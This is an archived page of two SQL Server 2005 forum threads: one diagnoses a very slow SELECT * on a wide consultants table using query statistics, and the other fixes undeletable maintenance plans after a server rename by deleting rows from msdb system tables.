I assume you have a very good reason for sending tens of thousands of records back to a client... You may easily solve your problem by using something like a where clause.

The number of records in a table likely has little to do with the issue, more likely is that is has to do with the overall number of pages. For something like a SELECT * the very best plan you can get is a clustered index scan, providing you have a clustered index. Barring the presence of a clustered index you'll see a table scan.

Either one of these plans are going to generate a substantial amount of disk IO. On a machine with 2GB of ram the maximum size for data cache will be around 1.6GB, my guess is that your table exceeds that size and this simple query is creating a great deal of activity on your disk drives.

Another issue is going to be concurrency. For a SELECT * you might well be attempting to acquire a table lock up front.

Start by getting the query plan for your statement. You can do that with either SET STATISTICS PROFILE ON or SET STATISTICS XML ON.

You should also have a look at the amount of disk IO generated by the query, and the performance of your disk drives.

SET STATISTICS IO ON and SET STATISTICS TIME ON will help out there, and you'll need to start perfmon and have a look at the physical disk counters for avg disk sec/read, avg disk sec/write, avg disk sec/transfer for the drives where your data and log files are located. Anything over 10ms is cause for concern.

Be sure to try from different clients as well to rule out any client issues.

|||

Thank you for the input. I ran it again with your recommendations and yes my Disk Write is max'd out completley. The table has 174,000 records of sample data and the query took 1Hour and 29Minutes.

Here is what I got back from prefixing my SQL Select Statement:

SET STATISTICS PROFILE ON

SET STATISTICS IO ON

SET STATISTICS TIME ON

select * from consultants;

174511 1 select * from consultants; 1 1 0 NULL NULL NULL NULL 174511 NULL NULL NULL 20.51673 NULL NULL SELECT 0 NULL


174511 1 |--Clustered Index Scan(OBJECT:([NewRR].[dbo].[Consultants].[aaaaaConsultants_PK])) 1 2 1 Clustered Index Scan Clustered Index Scan OBJECT:([NewRR].[dbo].[Consultants].[aaaaaConsultants_PK]) [NewRR].[dbo].[Consultants].[ConsIntID], [NewRR].[dbo].[Consultants].[ConsultantID], [NewRR].[dbo].[Consultants].[Title], [NewRR].[dbo].[Consultants].[FirstName], [NewRR].[dbo].[Consultants].[MiddleName], [NewRR].[dbo].[Consultants].[LastName], [NewRR].[dbo].[Consultants].[Suffix], [NewRR].[dbo].[Consultants].[NickName], [NewRR].[dbo].[Consultants].[DisplayName], [NewRR].[dbo].[Consultants].[CompanyName], [NewRR].[dbo].[Consultants].[Available], [NewRR].[dbo].[Consultants].[AvailabilityDate], [NewRR].[dbo].[Consultants].[AvailabilityNotice], [NewRR].[dbo].[Consultants].[JobTitle], [NewRR].[dbo].[Consultants].[PrimarySkills], [NewRR].[dbo].[Consultants].[SecondarySkills], [NewRR].[dbo].[Consultants].[OtherSkills], [NewRR].[dbo].[Consultants].[TotalExp], [NewRR].[dbo].[Consultants].[USExp], [NewRR].[dbo].[Consultants].[CommSkills], [NewRR].[dbo].[Consultants].[Rate], [NewRR].[dbo].[Consultants].[Relocation], [NewRR].[dbo].[Consultants].[ResumeDir], [NewRR].[dbo].[Consultants].[ResumeFile], [NewRR].[dbo].[Consultants].[ModifiedResumeDir], [NewRR].[dbo].[Consultants].[ModifiedResumeFile], [NewRR].[dbo].[Consultants].[ResumeWebPath], [NewRR].[dbo].[Consultants].[ReferredBy], [NewRR].[dbo].[Consultants].[Summary], [NewRR].[dbo].[Consultants].[AdditionalInfo], [NewRR].[dbo].[Consultants].[XMLResume], [NewRR].[dbo].[Consultants].[SSN], [NewRR].[dbo].[Consultants].[VisaStatus], [NewRR].[dbo].[Consultants].[VisaExpiryDate], [NewRR].[dbo].[Consultants].[Address1], [NewRR].[dbo].[Consultants].[Address2], [NewRR].[dbo].[Consultants].[Address3], [NewRR].[dbo].[Consultants].[City], [NewRR].[dbo].[Consultants].[State], [NewRR].[dbo].[Consultants].[ZipCode], [NewRR].[dbo].[Consultants].[Country], [NewRR].[dbo].[Consultants].[HomePhone], [NewRR].[dbo].[Consultants].[WorkPhone], [NewRR].[dbo].[Consultants].[MobilePhone], [NewRR].[dbo].[Consultants].[Fax], [NewRR].[dbo].[Consultants].[EMail1], [NewRR].[dbo].[Consultants].[EMail2], [NewRR].[dbo].[Consultants].[Salary], [NewRR].[dbo].[Consultants].[SalaryReviewDate], [NewRR].[dbo].[Consultants].[BonusAmount], [NewRR].[dbo].[Consultants].[BonusAmountDate], [NewRR].[dbo].[Consultants].[DOE], [NewRR].[dbo].[Consultants].[DOT], [NewRR].[dbo].[Consultants].[DOB], [NewRR].[dbo].[Consultants].[DOM], [NewRR].[dbo].[Consultants].[SpouseName], [NewRR].[dbo].[Consultants].[EmergencyContactName], [NewRR].[dbo].[Consultants].[EmergencyPhone], [NewRR].[dbo].[Consultants].[Notes], [NewRR].[dbo].[Consultants].[Archived], [NewRR].[dbo].[Consultants].[SendInHotList], [NewRR].[dbo].[Consultants].[Employee], [NewRR].[dbo].[Consultants].[JobType], [NewRR].[dbo].[Consultants].[Categories], [NewRR].[dbo].[Consultants].[Groups], [NewRR].[dbo].[Consultants].[Owners], [NewRR].[dbo].[Consultants].[EmployeeNumber], [NewRR].[dbo].[Consultants].[OnHold], [NewRR].[dbo].[Consultants].[OnHoldTill], [NewRR].[dbo].[Consultants].[VacationDays], [NewRR].[dbo].[Consultants].[SickDays], [NewRR].[dbo].[Consultants].[TableHolidays], [NewRR].[dbo].[Consultants].[FloatHolidays], [NewRR].[dbo].[Consultants].[LinkToIntID], [NewRR].[dbo].[Consultants].[UserIDs], [NewRR].[dbo].[Consultants].[Private], [NewRR].[dbo].[Consultants].[CreateDate], [NewRR].[dbo].[Consultants].[EditDate], [NewRR].[dbo].[Consultants].[MergeDate], [NewRR].[dbo].[Consultants].[UserField1], [NewRR].[dbo].[Consultants].[UserField2], [NewRR].[dbo].[Consultants].[UserField3], [NewRR].[dbo].[Consultants].[UserField4], [NewRR].[dbo].[Consultants].[UserField5], [NewRR].[dbo].[Consultants].[UserField6], [NewRR].[dbo].[Consultants].[UserField7], [NewRR].[dbo].[Consultants].[UserField8], [NewRR].[dbo].[Consultants].[UserField9], [NewRR].[dbo].[Consultants].[UserField10], [NewRR].[dbo].[Consultants].[Field1], [NewRR].[dbo].[Consultants].[Field2], [NewRR].[dbo].[Consultants].[Field3], [NewRR].[dbo].[Consultants].[uuManager], [NewRR].[dbo].[Consultants].[uuResumeText], [NewRR].[dbo].[Consultants].[uuResponsibilites], [NewRR].[dbo].[Consultants].[uuStartDate], [NewRR].[dbo].[Consul.. 174511 20.32461 0.1921191 7222 20.51673 [NewRR].[dbo].[Consultants].[ConsIntID], [NewRR].[dbo].[Consultants].[ConsultantID], [NewRR].[dbo].[Consultants].[Title], [NewRR].[dbo].[Consultants].[FirstName], [NewRR].[dbo].[Consultants].[MiddleName], [NewRR].[dbo].[Consultants].[LastName], [NewRR].[dbo].[Consultants].[Suffix], [NewRR].[dbo].[Consultants].[NickName], [NewRR].[dbo].[Consultants].[DisplayName], [NewRR].[dbo].[Consultants].[CompanyName], [NewRR].[dbo].[Consultants].[Available], [NewRR].[dbo].[Consultants].[AvailabilityDate], [NewRR].[dbo].[Consultants].[AvailabilityNotice], [NewRR].[dbo].[Consultants].[JobTitle], [NewRR].[dbo].[Consultants].[PrimarySkills], [NewRR].[dbo].[Consultants].[SecondarySkills], [NewRR].[dbo].[Consultants].[OtherSkills], [NewRR].[dbo].[Consultants].[TotalExp], [NewRR].[dbo].[Consultants].[USExp], [NewRR].[dbo].[Consultants].[CommSkills], [NewRR].[dbo].[Consultants].[Rate], [NewRR].[dbo].[Consultants].[Relocation], [NewRR].[dbo].[Consultants].[ResumeDir], [NewRR].[dbo].[Consultants].[ResumeFile], [NewRR].[dbo].[Consultants].[ModifiedResumeDir], [NewRR].[dbo].[Consultants].[ModifiedResumeFile], [NewRR].[dbo].[Consultants].[ResumeWebPath], [NewRR].[dbo].[Consultants].[ReferredBy], [NewRR].[dbo].[Consultants].[Summary], [NewRR].[dbo].[Consultants].[AdditionalInfo], [NewRR].[dbo].[Consultants].[XMLResume], [NewRR].[dbo].[Consultants].[SSN], [NewRR].[dbo].[Consultants].[VisaStatus], [NewRR].[dbo].[Consultants].[VisaExpiryDate], [NewRR].[dbo].[Consultants].[Address1], [NewRR].[dbo].[Consultants].[Address2], [NewRR].[dbo].[Consultants].[Address3], [NewRR].[dbo].[Consultants].[City], [NewRR].[dbo].[Consultants].[State], [NewRR].[dbo].[Consultants].[ZipCode], [NewRR].[dbo].[Consultants].[Country], [NewRR].[dbo].[Consultants].[HomePhone], [NewRR].[dbo].[Consultants].[WorkPhone], [NewRR].[dbo].[Consultants].[MobilePhone], [NewRR].[dbo].[Consultants].[Fax], [NewRR].[dbo].[Consultants].[EMail1], [NewRR].[dbo].[Consultants].[EMail2], [NewRR].[dbo].[Consultants].[Salary], [NewRR].[dbo].[Consultants].[SalaryReviewDate], [NewRR].[dbo].[Consultants].[BonusAmount], [NewRR].[dbo].[Consultants].[BonusAmountDate], [NewRR].[dbo].[Consultants].[DOE], [NewRR].[dbo].[Consultants].[DOT], [NewRR].[dbo].[Consultants].[DOB], [NewRR].[dbo].[Consultants].[DOM], [NewRR].[dbo].[Consultants].[SpouseName], [NewRR].[dbo].[Consultants].[EmergencyContactName], [NewRR].[dbo].[Consultants].[EmergencyPhone], [NewRR].[dbo].[Consultants].[Notes], [NewRR].[dbo].[Consultants].[Archived], [NewRR].[dbo].[Consultants].[SendInHotList], [NewRR].[dbo].[Consultants].[Employee], [NewRR].[dbo].[Consultants].[JobType], [NewRR].[dbo].[Consultants].[Categories], [NewRR].[dbo].[Consultants].[Groups], [NewRR].[dbo].[Consultants].[Owners], [NewRR].[dbo].[Consultants].[EmployeeNumber], [NewRR].[dbo].[Consultants].[OnHold], [NewRR].[dbo].[Consultants].[OnHoldTill], [NewRR].[dbo].[Consultants].[VacationDays], [NewRR].[dbo].[Consultants].[SickDays], [NewRR].[dbo].[Consultants].[TableHolidays], [NewRR].[dbo].[Consultants].[FloatHolidays], [NewRR].[dbo].[Consultants].[LinkToIntID], [NewRR].[dbo].[Consultants].[UserIDs], [NewRR].[dbo].[Consultants].[Private], [NewRR].[dbo].[Consultants].[CreateDate], [NewRR].[dbo].[Consultants].[EditDate], [NewRR].[dbo].[Consultants].[MergeDate], [NewRR].[dbo].[Consultants].[UserField1], [NewRR].[dbo].[Consultants].[UserField2], [NewRR].[dbo].[Consultants].[UserField3], [NewRR].[dbo].[Consultants].[UserField4], [NewRR].[dbo].[Consultants].[UserField5], [NewRR].[dbo].[Consultants].[UserField6], [NewRR].[dbo].[Consultants].[UserField7], [NewRR].[dbo].[Consultants].[UserField8], [NewRR].[dbo].[Consultants].[UserField9], [NewRR].[dbo].[Consultants].[UserField10], [NewRR].[dbo].[Consultants].[Field1], [NewRR].[dbo].[Consultants].[Field2], [NewRR].[dbo].[Consultants].[Field3], [NewRR].[dbo].[Consultants].[uuManager], [NewRR].[dbo].[Consultants].[uuResumeText], [NewRR].[dbo].[Consultants].[uuResponsibilites], [NewRR].[dbo].[Consultants].[uuStartDate], [NewRR].[dbo].[Consul.. NULL PLAN_ROW 0 1

Any guidance would be appreciated.

|||

Well - that certainly is a wide table. Again I assume you have a good reason to send back tens of thousands of rows to a client. If this is for a performance test, I hope this is not indicative of how the application is written.

Since you already have a clustered index scan in the plan the only thing that might help you out here is to defrag the index, assuming you have not already done so.

I find it odd that your disk writes are impacted. There should be no write activity at all generated by SQL Server during execution of this statement, if you have writes then you need to find out what is using your drive and stop it.

I'm really curious about the client though, it seems that results should start flowing immediately. Can you replicate this same behavior from SQLCMD and managment studio?

|||Perhaps it is spooling to tempdb?|||How do u know the disk size is max out

Monday, February 20, 2012

Maintenance Plan won't run, delete, or modify

Had to replace leased server hardware running Server2003, Sql2005. Had
machine Server B, set up sql2005, set up maintenance plan to do full backup
on all user dbs every night to Server C network share. Worked great for over
a week. Came time to do the swamp, brought down old server, renamed Server B
to Server A, ran:
EXEC sp_dropserver '<old_name>'
GO
EXEC sp_addserver '<new_name>', 'local'
GO
All other functions to the database seem to be working fine. Was using a
network administrator account - same one that worked before the name change
so the SID is the same. Unfortunately, I decided to try and delete and start
over in case it was just a gliche. Now, the history seems to be gone, but I
can't actually delete the job or the maintenance plan. Get an error "Does
not allow remote connections." even when I'm physically sitting at the
machine.
Now, maintenance plans won't run - can't delete them, can't modify them.
Other dts packages that execute a query or bring in data from other
datasources work just fine.
Help!?Have a litte more information. I successfully recreated the two maintenance
plans and with one minor problem, they work fine. I'll deal with the new
ones later.
But, since I've pretty much got new plans for system and user databases, I'd
like to delete the originals, but can't. For the systemMtnc, when I try to
delete, I get this error when I'm physically sitting at the machine:
"Exception has been thrown by the target of an invocation(mscorlib). An
error has occurred while establishing a connection to the server. When
connecting to sql server 2005, this failure may be cause by the fact that
under the default settings, sql server does not allow remote connecitons.
(provider: tcp provider, error: 0 no such host is know) error 11001
I've disabled both jobs, but would prefer to delete the plan/jobs. But, it
won't let me. Any ideas?
"Janet" wrote:
> Had to replace leased server hardware running Server2003, Sql2005. Had
> machine Server B, set up sql2005, set up maintenance plan to do full backup
> on all user dbs every night to Server C network share. Worked great for over
> a week. Came time to do the swamp, brought down old server, renamed Server B
> to Server A, ran:
> EXEC sp_dropserver '<old_name>'
> GO
> EXEC sp_addserver '<new_name>', 'local'
> GO
> All other functions to the database seem to be working fine. Was using a
> network administrator account - same one that worked before the name change
> so the SID is the same. Unfortunately, I decided to try and delete and start
> over in case it was just a gliche. Now, the history seems to be gone, but I
> can't actually delete the job or the maintenance plan. Get an error "Does
> not allow remote connections." even when I'm physically sitting at the
> machine.
> Now, maintenance plans won't run - can't delete them, can't modify them.
> Other dts packages that execute a query or bring in data from other
> datasources work just fine.
> Help!?|||Found this and it worked like a charm - hope it helps someone else.
1. Select the ID with the select statement
select * from sysmaintplan_plans
2. Replace with the selected ID and run the delete statements
delete from sysmaintplan_log where plan_id = ''
delete from sysmaintplan_subplans where plan_id = ''
delete from sysmaintplan_plans where id = ''
3. Delete the SQL Server Jobs with the Management Studio
"Janet" wrote:
> Have a litte more information. I successfully recreated the two maintenance
> plans and with one minor problem, they work fine. I'll deal with the new
> ones later.
> But, since I've pretty much got new plans for system and user databases, I'd
> like to delete the originals, but can't. For the systemMtnc, when I try to
> delete, I get this error when I'm physically sitting at the machine:
> "Exception has been thrown by the target of an invocation(mscorlib). An
> error has occurred while establishing a connection to the server. When
> connecting to sql server 2005, this failure may be cause by the fact that
> under the default settings, sql server does not allow remote connecitons.
> (provider: tcp provider, error: 0 no such host is know) error 11001
> I've disabled both jobs, but would prefer to delete the plan/jobs. But, it
> won't let me. Any ideas?
>
> "Janet" wrote:
> > Had to replace leased server hardware running Server2003, Sql2005. Had
> > machine Server B, set up sql2005, set up maintenance plan to do full backup
> > on all user dbs every night to Server C network share. Worked great for over
> > a week. Came time to do the swamp, brought down old server, renamed Server B
> > to Server A, ran:
> > EXEC sp_dropserver '<old_name>'
> > GO
> > EXEC sp_addserver '<new_name>', 'local'
> > GO
> >
> > All other functions to the database seem to be working fine. Was using a
> > network administrator account - same one that worked before the name change
> > so the SID is the same. Unfortunately, I decided to try and delete and start
> > over in case it was just a gliche. Now, the history seems to be gone, but I
> > can't actually delete the job or the maintenance plan. Get an error "Does
> > not allow remote connections." even when I'm physically sitting at the
> > machine.
> >
> > Now, maintenance plans won't run - can't delete them, can't modify them.
> > Other dts packages that execute a query or bring in data from other
> > datasources work just fine.
> >
> > Help!?